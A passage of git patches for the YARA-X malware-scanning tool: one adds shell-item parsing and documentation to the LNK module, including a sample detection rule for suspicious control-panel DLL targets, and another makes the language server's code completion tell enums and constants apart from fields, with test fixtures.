\x01(\tR\x0fnetworkLocation\"\xf4\x01\n\x0bTrackerData\x12\x18\n\x07vers\ + ion\x18\x01\x20\x01(\rR\x07version\x12\x1d\n\nmachine_id\x18\x02\x20\x01\ + (\tR\tmachineId\x12&\n\x0fdroid_volume_id\x18\x03\x20\x01(\tR\rdroidVolu\ + meId\x12\"\n\rdroid_file_id\x18\x04\x20\x01(\tR\x0bdroidFileId\x121\n\ + \x15droid_birth_volume_id\x18\x05\x20\x01(\tR\x12droidBirthVolumeId\x12-\ + \n\x13droid_birth_file_id\x18\x06\x20\x01(\tR\x10droidBirthFileId*\xca\ + \x03\n\x0eFileAttributes\x12\x1b\n\x17FILE_ATTRIBUTE_READONLY\x10\x01\ + \x12\x19\n\x15FILE_ATTRIBUTE_HIDDEN\x10\x02\x12\x19\n\x15FILE_ATTRIBUTE_\ + SYSTEM\x10\x04\x12\x0e\n\nRESERVED_1\x10\x08\x12\x1c\n\x18FILE_ATTRIBUTE\ + _DIRECTORY\x10\x10\x12\x1a\n\x16FILE_ATTRIBUTE_ARCHIVE\x10\x20\x12\x0e\n\ + \nRESERVED_2\x10@\x12\x1a\n\x15FILE_ATTRIBUTE_NORMAL\x10\x80\x01\x12\x1d\ + \n\x18FILE_ATTRIBUTE_TEMPORARY\x10\x80\x02\x12\x1f\n\x1aFILE_ATTRIBUTE_S\ + PARSE_FILE\x10\x80\x04\x12!\n\x1cFILE_ATTRIBUTE_REPARSE_POINT\x10\x80\ + \x08\x12\x1e\n\x19FILE_ATTRIBUTE_COMPRESSED\x10\x80\x10\x12\x1b\n\x16FIL\ + E_ATTRIBUTE_OFFLINE\x10\x80\x20\x12'\n\"FILE_ATTRIBUTE_NOT_CONTENT_INDEX\ + ED\x10\x80@\x12\x1e\n\x18FILE_ATTRIBUTE_ENCRYPTED\x10\x80\x80\x01\x1a\ + \x06\x92\x93\x19\x02\x10\x01*;\n\x0bShowCommand\x12\n\n\x06NORMAL\x10\ + \x01\x12\r\n\tMAXIMIZED\x10\x03\x12\x11\n\rMIN_NO_ACTIVE\x10\x07*g\n\tDr\ + iveType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0f\n\x0bNO_ROOT_DIR\x10\x01\x12\ + \r\n\tREMOVABLE\x10\x02\x12\t\n\x05FIXED\x10\x03\x12\n\n\x06REMOTE\x10\ + \x04\x12\t\n\x05CDROM\x10\x05\x12\x0b\n\x07RAMDISK\x10\x06*\xf8\x01\n\rS\ + hellItemType\x12\x15\n\x11CONTROL_PANEL_CPL\x10\0\x12\x1a\n\x16CONTROL_P\ + ANEL_CATEGORY\x10\x01\x12\x0f\n\x0bROOT_FOLDER\x10\x1f\x12\n\n\x06VOLUME\ + \x10\x20\x12\x0e\n\nFILE_ENTRY\x100\x12\x14\n\x10NETWORK_LOCATION\x10@\ + \x12\x15\n\x11COMPRESSED_FOLDER\x10R\x12\x07\n\x03URI\x10a\x12\x11\n\rCO\ + NTROL_PANEL\x10q\x12\x0c\n\x08PRINTERS\x10r\x12\x18\n\x14COMMON_PLACES_F\ + OLDER\x10s\x12\x16\n\x12USERS_FILES_FOLDER\x10tB\x1e\xfa\x92\x19\x1a\n\ + \x03lnk\x12\x07lnk.Lnk\x1a\nlnk-moduleb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -1811,13 +2496,15 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { let mut deps = ::std::vec::Vec::with_capacity(1); deps.push(super::yara::file_descriptor().clone()); - let mut messages = ::std::vec::Vec::with_capacity(2); + let mut messages = ::std::vec::Vec::with_capacity(3); messages.push(Lnk::generated_message_descriptor_data()); + messages.push(ShellItem::generated_message_descriptor_data()); messages.push(TrackerData::generated_message_descriptor_data()); - let mut enums = ::std::vec::Vec::with_capacity(3); + let mut enums = ::std::vec::Vec::with_capacity(4); enums.push(FileAttributes::generated_enum_descriptor_data()); enums.push(ShowCommand::generated_enum_descriptor_data()); enums.push(DriveType::generated_enum_descriptor_data()); + enums.push(ShellItemType::generated_enum_descriptor_data()); ::protobuf::reflect::GeneratedFileDescriptor::new_generated( file_descriptor_proto(), deps, diff --git a/lib/src/modules/protos/lnk.proto b/lib/src/modules/protos/lnk.proto index ff025570f..a5a495211 100644 --- a/lib/src/modules/protos/lnk.proto +++ b/lib/src/modules/protos/lnk.proto @@ -44,6 +44,29 @@ enum DriveType { RAMDISK = 0x00000006; } +// Category of a shell item, derived from its class type indicator byte. +// +// The values are the class type indicators defined in the reverse-engineered +// "Windows Shell Item format" documentation by Joachim Metz (libfwsi) and used +// by the LnkParse3 implementation. For the volume, file entry and network +// location items the class type indicator is a range (0x20-0x2F, 0x30-0x3F and +// 0x40-0x4F respectively); the value here is the base of the range (0x20, 0x30 +// and 0x40) obtained by masking the class type indicator with 0x70. +enum ShellItemType { + CONTROL_PANEL_CPL = 0x00; + CONTROL_PANEL_CATEGORY = 0x01; + ROOT_FOLDER = 0x1F; + VOLUME = 0x20; + FILE_ENTRY = 0x30; + NETWORK_LOCATION = 0x40; + COMPRESSED_FOLDER = 0x52; + URI = 0x61; + CONTROL_PANEL = 0x71; + PRINTERS = 0x72; + COMMON_PLACES_FOLDER = 0x73; + USERS_FILES_FOLDER = 0x74; +} + message Lnk { // True if the file is a LNK file. required bool is_lnk = 1; @@ -115,6 +138,59 @@ message Lnk { // Distributed link tracker information. optional TrackerData tracker_data = 21; + + // Shell items parsed from the link target ID list (LINKTARGET_IDLIST). This + // list describes the target of the shortcut as a chain of shell items (root + // folder, volume, file entry, control panel item, etc.). + repeated ShellItem target_id_list = 22; +} + +// A single item within the link target ID list (an ItemID / shell item). +// +// The container (LinkTargetIDList / ItemID) is defined by Microsoft in +// [MS-SHLLINK], but the internal layout of each shell item is not specified by +// Microsoft. The type-specific fields below therefore follow the +// reverse-engineered "Windows Shell Item format" documentation by Joachim Metz +// (libfwsi). Which fields are populated depends on the shell item type (see +// `item_type`); the raw `data` field is always populated. +// +// The fields are ordered by the `item_type` (range) they are extracted from. +message ShellItem { + // Type (category) of the shell item, derived from the class type indicator + // byte. Always set for every shell item: when the class type indicator + // maps to a known category, the corresponding enum variant is used; + // otherwise, the raw class type indicator byte is stored as an unknown value. + optional ShellItemType item_type = 1 [(yara.field_options).fmt = "x"]; + + // The raw class type specific data of the shell item: all the bytes that + // follow the class type indicator byte. Always populated, which allows rules + // to match on shell items whose type is not decoded into a dedicated field + // below. + optional bytes data = 3; + + // Path to the control panel CPL file. Populated for control panel CPL file + // shell items (item_type CONTROL_PANEL_CPL). + optional string cpl_file_path = 4; + + // Shell folder identifier (a GUID). Populated for root folder shell items + // (item_type ROOT_FOLDER). + optional string root_folder_id = 5; + + // Volume name. Populated for volume shell items (item_type VOLUME) that + // carry a name. + optional string volume_name = 6; + + // Volume identifier (a GUID). Populated for volume shell items + // (item_type VOLUME) that carry an identifier instead of a name. + optional string volume_id = 7; + + // File or directory name. Populated for file entry shell items + // (item_type FILE_ENTRY). + optional string file_entry_name = 8; + + // Network location (usually a UNC path). Populated for network location + // shell items (item_type NETWORK_LOCATION). + optional string network_location = 9; } // This structure contains data that can be used to resolve a link target if it diff --git a/proto/src/yaml.rs b/proto/src/yaml.rs index 90e137fec..4c8f29d55 100644 --- a/proto/src/yaml.rs +++ b/proto/src/yaml.rs @@ -400,7 +400,10 @@ impl Serializer { } ReflectValueRef::Enum(d, v) => match d.value_by_number(*v) { Some(e) => write!(self.output, "{}", e.name())?, - None => write!(self.output, "{v}")?, + None => match get_field_format(field) { + FieldFormat::Hex => write!(self.output, "0x{v:x}")?, + _ => write!(self.output, "{v}")?, + }, }, ReflectValueRef::Message(msg) => self.write_msg(msg)?, } diff --git a/site/content/docs/modules/lnk.md b/site/content/docs/modules/lnk.md index 847e744d8..be73133cf 100644 --- a/site/content/docs/modules/lnk.md +++ b/site/content/docs/modules/lnk.md @@ -48,6 +48,68 @@ contained in those files to YARA. | overlay_size | integer | Size in bytes of any extra data appended to the LNK file. | | overlay_offset | integer | Offset within the LNK file where the overlay starts. | | tracker_data | [TrackerData](#trackerdata) | Distributed link tracker information. | +| target_id_list | [ShellItem](#shellitem) array | Shell items parsed from the link target ID list. Describes the target of the shortcut as a chain of shell items (root folder, volume, file entry, control panel item, etc.). | + +### ShellItem + +These are the fields in each entry of the `target_id_list` array. Each entry +corresponds to an `ItemID` within the `LinkTargetIDList` structure defined in +the Microsoft [[MS-SHLLINK]](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943) +specification (section 2.2). The internal layout of each shell item is not +specified by Microsoft; the type-specific fields below follow the +reverse-engineered Windows Shell Item format documentation. Which fields are +populated depends on the shell item type (`item_type`); the raw `data` field is +always populated, so rules can match on shell item types that are not decoded +into a dedicated field. The fields are listed in order of the `item_type` they +belong to. + +| Field | Type | Description | +|------------------|-------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------| +| item_type | [ShellItemType](#shellitemtype) | Category of the shell item, derived from its class type indicator byte. Always set for every shell item (if the class type indicator does not map to a known category, the raw byte value is stored as an unknown value). | +| data | string | Raw class type specific data: all the bytes that follow the class type indicator byte. Always populated, so rules can match on shell items whose type is not decoded into a dedicated field. | +| cpl_file_path | string | Path to the control panel CPL file. Populated for control panel CPL file shell items (item_type CONTROL_PANEL_CPL). This field is abused by CVE-2010-2568 to point to an arbitrary DLL. | +| root_folder_id | string | Shell folder identifier (a GUID). Populated for root folder shell items (item_type ROOT_FOLDER). | +| volume_name | string | Volume name. Populated for volume shell items (item_type VOLUME) that carry a name. | +| volume_id | string | Volume identifier (a GUID). Populated for volume shell items (item_type VOLUME) that carry an identifier instead of a name. | +| file_entry_name | string | File or directory name. Populated for file entry shell items (item_type FILE_ENTRY). | +| network_location | string | Network location, usually a UNC path. Populated for network location shell items (item_type NETWORK_LOCATION). | + +#### Example + +```` +import "lnk" + +rule lnk_suspicious_cpl_target { + condition: + for any item in lnk.target_id_list : ( + item.item_type == lnk.ShellItemType.CONTROL_PANEL_CPL and + item.cpl_file_path endswith ".dll" + ) +} +```` + +### ShellItemType + +These are the possible values for the `item_type` field of a +[ShellItem](#shellitem). The values are the class type indicators from the +Windows Shell Item format; for the volume, file entry and network location +items (whose class type indicator is a range) the value is the base of the +range. + +| Name | Value | +|-------------------------------------|------:| +| ShellItemType.CONTROL_PANEL_CPL | 0x00 | +| ShellItemType.CONTROL_PANEL_CATEGORY| 0x01 | +| ShellItemType.ROOT_FOLDER | 0x1F | +| ShellItemType.VOLUME | 0x20 | +| ShellItemType.FILE_ENTRY | 0x30 | +| ShellItemType.NETWORK_LOCATION | 0x40 | +| ShellItemType.COMPRESSED_FOLDER | 0x52 | +| ShellItemType.URI | 0x61 | +| ShellItemType.CONTROL_PANEL | 0x71 | +| ShellItemType.PRINTERS | 0x72 | +| ShellItemType.COMMON_PLACES_FOLDER | 0x73 | +| ShellItemType.USERS_FILES_FOLDER | 0x74 | ### TrackerData From a59e31131f4563d3c22c83ac3df627e3ee887fd5 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 10:32:36 +0200 Subject: [PATCH 010/259] feat(ls): improve code completion by distinguishing between enums and other kinds of fields. Code completion is now more informative as it clearly distinguishes between standard fields and enums. --- lib/src/modules/mod.rs | 10 + lib/src/modules/tests.rs | 1 + lib/src/types/structure.rs | 120 ++- ls/README.md | 2 +- ls/src/features/completion.rs | 156 ++-- ls/src/tests/mod.rs | 6 + .../tests/testdata/completion26.request.json | 13 + .../tests/testdata/completion26.response.json | 38 + ls/src/tests/testdata/completion26.yar | 5 + .../tests/testdata/completion27.request.json | 13 + .../tests/testdata/completion27.response.json | 741 ++++++++++++++++++ ls/src/tests/testdata/completion27.yar | 5 + .../tests/testdata/completion8.response.json | 608 +++++++------- ls/src/utils/modules.rs | 1 + 14 files changed, 1332 insertions(+), 387 deletions(-) create mode 100644 ls/src/tests/testdata/completion26.request.json create mode 100644 ls/src/tests/testdata/completion26.response.json create mode 100644 ls/src/tests/testdata/completion26.yar create mode 100644 ls/src/tests/testdata/completion27.request.json create mode 100644 ls/src/tests/testdata/completion27.response.json create mode 100644 ls/src/tests/testdata/completion27.yar diff --git a/lib/src/modules/mod.rs b/lib/src/modules/mod.rs index 2b8fc3254..dd450613f 100644 --- a/lib/src/modules/mod.rs +++ b/lib/src/modules/mod.rs @@ -467,6 +467,11 @@ pub mod mods { Self { inner } } + /// Returns true if this structure represents an enum. + pub fn is_enum(&self) -> bool { + self.inner.is_enum() + } + /// Returns an iterator over the fields defined in the structure. /// /// The fields are sorted by name. @@ -562,6 +567,11 @@ pub mod mods { Type::from(&self.struct_field.type_value) } + /// Returns true if the field is a constant. + pub fn is_const(&self) -> bool { + self.struct_field.type_value.is_const() + } + /// Returns the documentation for the current field. pub fn doc(&self) -> Option<&str> { self.struct_field.doc diff --git a/lib/src/modules/tests.rs b/lib/src/modules/tests.rs index db51fe1e6..8fdd88a53 100644 --- a/lib/src/modules/tests.rs +++ b/lib/src/modules/tests.rs @@ -508,6 +508,7 @@ fn test_reflect() { let field = fields.next().unwrap(); assert_eq!(field.name(), "INLINE_0x1000"); assert_eq!(field.ty(), Type::Integer); + assert!(field.is_const()); let field = fields.next().unwrap(); assert_eq!(field.name(), "INLINE_0x2000"); diff --git a/lib/src/types/structure.rs b/lib/src/types/structure.rs index c6a728470..262061034 100644 --- a/lib/src/types/structure.rs +++ b/lib/src/types/structure.rs @@ -157,12 +157,14 @@ pub(crate) struct Struct { /// order in which they appear in the .proto source file is /// irrelevant. fields: IndexMap, + /// The name of the protobuf type this struct was created from. If the struct + /// was not created from a protobuf type, this is `None`. + protobuf_type_name: Option, /// True if this is the root structure. The root structure is the top-level /// structure that contains global variables and modules. is_root: bool, - /// The name of the protobuf type this enum was crated from. If the enum - /// was not created from a protobuf type, this is `None`. - protobuf_type_name: Option, + /// True if this structure is representing an enum. + is_enum: bool, } impl SymbolLookup for Struct { @@ -185,6 +187,7 @@ impl Struct { fields: IndexMap::new(), is_root: false, protobuf_type_name: None, + is_enum: false, } } @@ -194,7 +197,13 @@ impl Struct { self } - /// Returns the protobuf type this enum was created from, if any. + /// Returns true if this structure represents an enum. + #[inline] + pub fn is_enum(&self) -> bool { + self.is_enum + } + + /// Returns the protobuf type this struct was created from, if any. pub fn protobuf_type_name(&self) -> Option<&str> { self.protobuf_type_name.as_deref() } @@ -271,7 +280,8 @@ impl Struct { let mut enclosing_msg = enum_descriptor.enclosing_message(); let mut path = Vec::new(); - if !Self::enum_is_inline(enum_descriptor) { + let is_inline = Self::enum_is_inline(enum_descriptor); + if !is_inline { path.push(Self::enum_name(enum_descriptor)); } @@ -284,13 +294,70 @@ impl Struct { let path = path.iter().rev().join("."); - for item in enum_descriptor.values() { - let field_name = if path.is_empty() { - item.name().to_owned() + if !is_inline { + let enum_struct = self.get_or_create_struct(&path); + enum_struct.is_enum = true; + for item in enum_descriptor.values() { + enum_struct + .add_field(item.name(), Self::enum_value(&item).into()); + } + } else { + for item in enum_descriptor.values() { + let field_name = if path.is_empty() { + item.name().to_owned() + } else { + format!("{}.{}", path, item.name()) + }; + self.add_field(field_name, Self::enum_value(&item).into()); + } + } + } + + fn get_or_create_struct(&mut self, path: &str) -> &mut Struct { + if let Some(dot) = path.find('.') { + let target = &path[0..dot]; + let field = self + .field_entry_by_name(target.to_owned()) + .or_insert_with(|| StructField { + type_value: TypeValue::Struct(Rc::new(Struct::new())), + number: 0, + acl: None, + deprecation_notice: None, + doc: None, + }); + + if let TypeValue::Struct(ref mut s) = field.type_value { + let s = Rc::::get_mut(s).unwrap_or_else(|| { + panic!( + "`get_or_create_struct` was called while an `Rc` or `Weak` pointer points to field `{}`", + target + ) + }); + s.get_or_create_struct(&path[dot + 1..]) } else { - format!("{}.{}", path, item.name()) - }; - self.add_field(field_name, Self::enum_value(&item).into()); + panic!("field `{}` is not a struct", target) + } + } else { + let field = self + .field_entry_by_name(path.to_owned()) + .or_insert_with(|| StructField { + type_value: TypeValue::Struct(Rc::new(Struct::new())), + number: 0, + acl: None, + deprecation_notice: None, + doc: None, + }); + + if let TypeValue::Struct(ref mut s) = field.type_value { + Rc::::get_mut(s).unwrap_or_else(|| { + panic!( + "`get_or_create_struct` was called while an `Rc` or `Weak` pointer points to field `{}`", + path + ) + }) + } else { + panic!("field `{}` is not a struct", path) + } } } @@ -502,6 +569,7 @@ impl Struct { fields: field_index, is_root: false, protobuf_type_name: Some(msg_descriptor.full_name().to_string()), + is_enum: false, }; if generate_fields_for_enums && Self::is_module_root(msg_descriptor) { @@ -1442,4 +1510,34 @@ mod tests { // on each structure. assert_ne!(a, b); } + + #[test] + fn test_is_enum() { + use crate::modules::protos::test_proto2::TestProto2; + use protobuf::MessageFull; + + let s = Struct::new(); + assert!(!s.is_enum()); + + let mut structure = Struct::from_proto_descriptor_and_msg( + &TestProto2::descriptor(), + None, + true, + true, + ); + + let structure = Rc::::get_mut(&mut structure).unwrap(); + let mut is_enum_flags = Vec::new(); + + structure.enum_substructures(&mut |sub| { + is_enum_flags.push(sub.is_enum()); + }); + + // The root message and its nested messages (and intermediate container structs) + // are not enums, while the enum substructures are marked with is_enum = true. + assert_eq!( + vec![false, false, false, true, true, false, true, true], + is_enum_flags + ); + } } diff --git a/ls/README.md b/ls/README.md index aa375c62c..bb680183a 100644 --- a/ls/README.md +++ b/ls/README.md @@ -12,7 +12,7 @@ in TypeScript (see: editors/code). $ cargo build --bin yr-ls --release && mv target/release/yr-ls ls/editors/code/dist ``` -2. Move to the `ls/editors/code`, install dependencies and compile the extension: +2. Move to the `ls/editors/code` directory, install dependencies and compile the extension: ```sh $ npm i $ npm run compile diff --git a/ls/src/features/completion.rs b/ls/src/features/completion.rs index ad54be590..97cca8e3e 100644 --- a/ls/src/features/completion.rs +++ b/ls/src/features/completion.rs @@ -393,80 +393,94 @@ fn field_suggestions(token: &Token) -> Option> { let name = f.name(); let ty = f.ty(); - if let Type::Func(ref func_def) = ty { - func_def - .signatures - .iter() - .map(|sig| { - let args = sig - .args() - .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) - .collect::>(); - - let args_template = sig - .args() - .enumerate() - .map(|(n, (name, _))| { - format!("${{{}:{name}}}", n + 1) - }) - .join(", "); - - CompletionItem { - label: format!( - "{}({})", - name, - args.join(", ") - ), - kind: Some(CompletionItemKind::METHOD), - insert_text: Some(format!( - "{name}({args_template})", - )), - insert_text_format: Some( - InsertTextFormat::SNIPPET, - ), - label_details: Some(CompletionItemLabelDetails { - description: Some(ty_to_string(&ty)), + match ty { + Type::Func(ref func_def) => { + func_def + .signatures + .iter() + .map(|sig| { + let args = sig + .args() + .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) + .collect::>(); + + let args_template = sig + .args() + .enumerate() + .map(|(n, (name, _))| { + format!("${{{}:{name}}}", n + 1) + }) + .join(", "); + + CompletionItem { + label: format!( + "{}({})", + name, + args.join(", ") + ), + kind: Some(CompletionItemKind::METHOD), + insert_text: Some(format!( + "{name}({args_template})", + )), + insert_text_format: Some( + InsertTextFormat::SNIPPET, + ), + label_details: Some(CompletionItemLabelDetails { + description: Some(ty_to_string(&ty)), + ..Default::default() + }), + documentation: sig.doc().map( + |docs| { + async_lsp::lsp_types::Documentation::MarkupContent( + async_lsp::lsp_types::MarkupContent { + kind: async_lsp::lsp_types::MarkupKind::Markdown, + value: format!( + "## `{}({}) -> {}`\n\n{}", + name, + sig.args() + .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) + .join(", "), + ty_to_string(sig.ret_type()), + docs + ), + }, + ) + }, + ), ..Default::default() - }), - documentation: sig.doc().map( - |docs| { - async_lsp::lsp_types::Documentation::MarkupContent( - async_lsp::lsp_types::MarkupContent { - kind: async_lsp::lsp_types::MarkupKind::Markdown, - value: format!( - "## `{}({}) -> {}`\n\n{}", - name, - sig.args() - .map(|(name, ty)| format!("{}: {}", name, ty_to_string(ty))) - .join(", "), - ty_to_string(sig.ret_type()), - docs - ), - }, - ) - }, - ), + } + }) + .collect() + } + _ => { + let insert_text = match &ty { + Type::Array(_) => format!("{name}[${{1}}]${{2}}"), + _ => name.to_string(), + }; + + let mut description = ty_to_string(&ty); + + let kind = if matches!(ty, Type::Struct(ref s) if s.is_enum()) { + CompletionItemKind::ENUM + } else if f.is_const() { + description.insert_str(0, "const "); + CompletionItemKind::CONSTANT + } else { + CompletionItemKind::FIELD + }; + + vec![CompletionItem { + label: name.to_string(), + kind: Some(kind), + insert_text: Some(insert_text), + insert_text_format: Some(InsertTextFormat::SNIPPET), + label_details: Some(CompletionItemLabelDetails { + description: Some(description), ..Default::default() - } - }) - .collect() - } else { - let insert_text = match &ty { - Type::Array(_) => format!("{name}[${{1}}]${{2}}"), - _ => name.to_string(), - }; - - vec![CompletionItem { - label: name.to_string(), - kind: Some(CompletionItemKind::FIELD), - insert_text: Some(insert_text), - insert_text_format: Some(InsertTextFormat::SNIPPET), - label_details: Some(CompletionItemLabelDetails { - description: Some(ty_to_string(&ty)), + }), ..Default::default() - }), - ..Default::default() - }] + }] + } } }) .collect(); diff --git a/ls/src/tests/mod.rs b/ls/src/tests/mod.rs index 96866e147..1e3c9a54b 100644 --- a/ls/src/tests/mod.rs +++ b/ls/src/tests/mod.rs @@ -401,6 +401,12 @@ async fn completion() { #[cfg(feature = "magic-module")] lsp_request::<_, Completion>("completion25.yar").await; + + #[cfg(not(feature = "magic-module"))] + lsp_request::<_, Completion>("completion26.yar").await; + + #[cfg(not(feature = "magic-module"))] + lsp_request::<_, Completion>("completion27.yar").await; } #[tokio::test] diff --git a/ls/src/tests/testdata/completion26.request.json b/ls/src/tests/testdata/completion26.request.json new file mode 100644 index 000000000..f77fb3028 --- /dev/null +++ b/ls/src/tests/testdata/completion26.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion26.yar" + }, + "position": { + "line": 3, + "character": 28 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion26.response.json b/ls/src/tests/testdata/completion26.response.json new file mode 100644 index 000000000..1d31b4be9 --- /dev/null +++ b/ls/src/tests/testdata/completion26.response.json @@ -0,0 +1,38 @@ +[ + { + "insertText": "ITEM_0", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_0", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_1", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_1", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_2", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_2", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_3", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_3", + "labelDetails": { + "description": "const integer" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion26.yar b/ls/src/tests/testdata/completion26.yar new file mode 100644 index 000000000..3b3f18623 --- /dev/null +++ b/ls/src/tests/testdata/completion26.yar @@ -0,0 +1,5 @@ +import "test_proto2" +rule test { + condition: + test_proto2.Enumeration. +} diff --git a/ls/src/tests/testdata/completion27.request.json b/ls/src/tests/testdata/completion27.request.json new file mode 100644 index 000000000..b5242c796 --- /dev/null +++ b/ls/src/tests/testdata/completion27.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion27.yar" + }, + "position": { + "line": 3, + "character": 16 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion27.response.json b/ls/src/tests/testdata/completion27.response.json new file mode 100644 index 000000000..ace18b000 --- /dev/null +++ b/ls/src/tests/testdata/completion27.response.json @@ -0,0 +1,741 @@ +[ + { + "insertText": "int32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "float_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "float_zero", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "double_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "double_zero", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "int32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "float_one", + "insertTextFormat": 2, + "kind": 5, + "label": "float_one", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "double_one", + "insertTextFormat": 2, + "kind": 5, + "label": "double_one", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "int32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "float_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "float_undef", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "double_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "double_undef", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "string_foo", + "insertTextFormat": 2, + "kind": 5, + "label": "string_foo", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "string_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "string_bar", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "string_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "string_undef", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_foo", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_foo", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_bar", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_raw", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_raw", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_undef", + "insertTextFormat": 